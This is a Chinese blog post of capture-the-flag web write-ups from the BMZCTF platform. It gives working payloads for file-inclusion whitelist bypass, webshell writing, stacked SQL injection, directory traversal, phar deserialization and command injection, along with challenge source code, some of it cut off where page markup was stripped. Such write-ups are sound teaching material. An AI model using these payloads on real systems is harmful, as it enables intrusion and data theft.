打开后是一张图片。
查看源码发现source.php
访问,得到一串代码:
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
对其进行分析:
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];#白名单
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
#如果在白名单中,则返回true
return true;
}
$_page = mb_substr( #取?之前的内容赋给$_page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) { #看$_page是否在白名单中
return true;
}
$_page = urldecode($page); #进行url编码
$_page = mb_substr( #取?之前的内容赋给$_page
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
其中进行了两次的白名单检测和一次Url编码。先传入字符串source
,hint
进行测试。
传入source
,发现源码重复出现,说明存在文件读取漏洞,
传入hint
,发现一个字符串,flag not here, and flag in /flaaagg
,提示flag在/flaaagg中
,可/flaaagg
不在白名单中。
需要对白名单进行绕过。
必须传入的字符串有:hint
或source
,和/flaaagg
,先传入file=/flaaagg
,发现不能读取,
联想到过滤中的问号,构建传参hint?/flaaagg
,传入file=hint?/flaaagg
,发现无回显。可能是文件不存在,所以无回显。
使用../
进行跨目录,file=hint?../../../../../flaaagg
,可以得到flag。
原理:
?
前的内容将被白名单过滤,hint?..
被当作一个目录,未被当成文件处理。
打开网页即可看到源码:
分析源码:
传入path的内容不能含有”…”,传入file的内容必须以’http://127.0.0.1/'开头。
尝试传入file=http://127.0.0.1/&path=shell.php
看到,把index.php的内容写了过来。说明可以文件写入,尝试写入phpinfo:
file=http://127.0.0.1/&path=shell.php
返回为空。说明没有这个文件。只能将要写入的内容放在Path参数里,可path还要传文件名。有点矛盾。
先试下:
file=http://127.0.0.1/?path=&path=shell.php
说明在127.0.0.1后面有?必须有file参数。继续构建
file=http://127.0.0.1/ &path=&path=shell.php
虽然写入成功,但中间的phpinfo没有写入。继续构建
file=http://127.0.0.1/%26path=&path=shell.php
说明%26path=这个文件不存在(phpinfo被当成文件名解析),继续构建:
file=http://127.0.0.1/?file=http://127.0.0.1/%26path=&path=shell.php
成功写入phpinfo。(第一个file传入的是file=http://127.0.0.1/index.php,第二个file传入的是phpinfo。第二个file被当做参数传入到第一个file里。)
写入一句话:
file=http://127.0.0.1/index.php?file=http://127.0.0.1/%26path=&path=shell.php
cmd传入system(‘cat /flag’);就可以得到flag
返回正常
尝试手工注入:
1、输入1‘ order by *,测试能返回几列,多次尝试,*处为2,即:1’ order by 2能返回正常。
再试着输入select测试返回点:1’ union select 1,2 #
看到好多字符被过滤。尝试sqlmap 只能爆出库名为supersqli
尝试堆叠注入
输入:1’; show databases; #
看到了返回的库名
再看看表名有哪些:1’;show tables; #
看到有两张表:分别为flagg和words
分别看看都有哪些列:1’;show columns from flagg #
看到了我们想要flag列。下面就是想如何读取里面的内容了。
Select 被过滤,无法正常查询。只能拼接查询语句:
-1’;use supersqli;set @sql=concat(‘s’,'elect flag
from flagg
');PREPARE BMZ FROM @sql;EXECUTE BMZ;#
得到flag。
看到escapeshellarg,就想到了命令执行漏洞。当escapeshellarg在参数位时,过滤将不起作用。而在倒数第二行file_put_contents中,escapeshellarg被放到了参数位。因此,可以命令执行。
最上面的代码是创建一个沙盒。并在下面创建文件夹。文件夹名是orange加上访问者的ip地址的md5值。Ip地址通过ip138查询即可。
我们先输入:?url=…/&filename=123
再访问sandbox/8411192b0e571e9d15a9b3a080de90d0/123。可以看到返回了…/的目录结构:
于是输入:?url=/&filename=123。让其回显根目录结构:
我们看到了flag文件。是我们想要访问的。
继续输入:?url=/flag&filename=123
得到了flag
可以看到源码
Action参数可以访问文件,试用…/…/…/…/etc/passwd看能不能穿越目录访问:
得到了flag
打开网页后,是一个登录框,下面有注册,先随便注册一个账号并登录,发现是一个网盘
尝试上传文件,发现对后缀进行了过滤。
点击下载并抓包:
修改文件名为’/var/www/html/index.php’
发现可以下载文件。先下载index.php,查看源码。
网盘管理
Name();
$a->Size();
?>
在源码中还看到了login.php和class.php分别下载,并查看源码:
Login.php:
登录
toast('注册成功', 'info');";
}
if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("");
die();
}
echo "";
}
?>
Class.php
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '下载 / 删除 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
再下载首页可看到的download.php 和 delete.php,并查看源码:
Download.php:
open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
Delete.php
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
在download.php中,过滤了flag,不能直接查看。并且指定了目录为/etc/tmp
在delete.php中,指定了目录为沙盒的根目录,
在class.php中,close方法会包含文件。
在download.php调用了close方法,却过滤了flag,不好读取。暂时不用。
Class.php中Filelist类有两个魔法函数:function __call和function __destruct()。
function __call会遍历files数据,并执行func()。结果会通过__destruct()方法打印出来。
User类中存在close方法,并且该方法在对象销毁时执行。
因此,如果能创建一个user的对象,其db变量是一个FileList对象,对象中的文件名为flag的位置。这样的话,当user对象销毁时,db变量的close方法被执行;而db变量没有close方法,这样就会触发call魔术方法,进而变成了执行File对象的close方法。通过分析FileList类的析构方法可以知道,close方法执行后存在results变量里的结果会加入到table变量中被打印出来,也就是flag会被打印出来。
使用phar进行反序列化
filename = '/flag';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("");
$o = new User();
$o->db = new FileList();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
修改后缀为jpg
,再将文件上传,并在删除时抓包,然后修改文件名后执行,就可以得到flag:
SCTF 2018_Simple PHP
目录扫描也没有什么结果,使用sqlmpay也没结果,爆破admin也没结果,最后试了试php伪协议,可以文件,使用filter的base64读取/flag文件:
Base64解密后就得到flag
2018_网鼎杯_Comment
打开网页,发现为一个留言版。
尝试发贴,需要登录:
根据提示,爆破密码:
***的位置为666
尝试xss,无果:
会进行过滤,简单试试绕过无果。
尝试二次注入。
在发贴的title位置无果
尝试category位置:
在留言位置回复*/#
没有回显。
尝试content位置:
所以category可能存在注入
再次进行尝试。
在留言处输入456*/#
可以看到回显是123,而不是刚输入的值。可以有回显。试着读取数据库:
在留言处输入:*/#
可以看到返回了数据库为ctf
,可以执行sql语句。
试着读取文件
在留言处输入:*/#
就可以看到flag了
rcee
打开网页,可以看到源码
存在命令执行,但要求长度小于8。
首先寻找flag。先在根目录下寻找:输入?command=ls /
没有回显。因为空格被处理成%20
,当成3个字符,要执行的命令长度超过8了。
使用*
代替,输入:?command=cat /f*
可以看到,把f开关的所有文件内容都显示了出来。也可以看到flag
sqli_double
打开页面即可看到源码:
有两个页面,一个是修改密码的(需要知道用户名和邮箱),一个是登录页面。
因为我们不知道用户名和邮箱,先试试登录页面:
回显提示登录失败,我们不知是密码还是用户名错了,尝试使用sqlmap进行爆破:
可以看到已经试出了数据库类型为mysql
爆库:
爆表:
爆内容:
现在我们知道了用户名和邮箱,就可以修改密码了。修改密码后登录,即可看到flag:
你可能感兴趣的:(BMZCTF-WEB,安全,经验分享)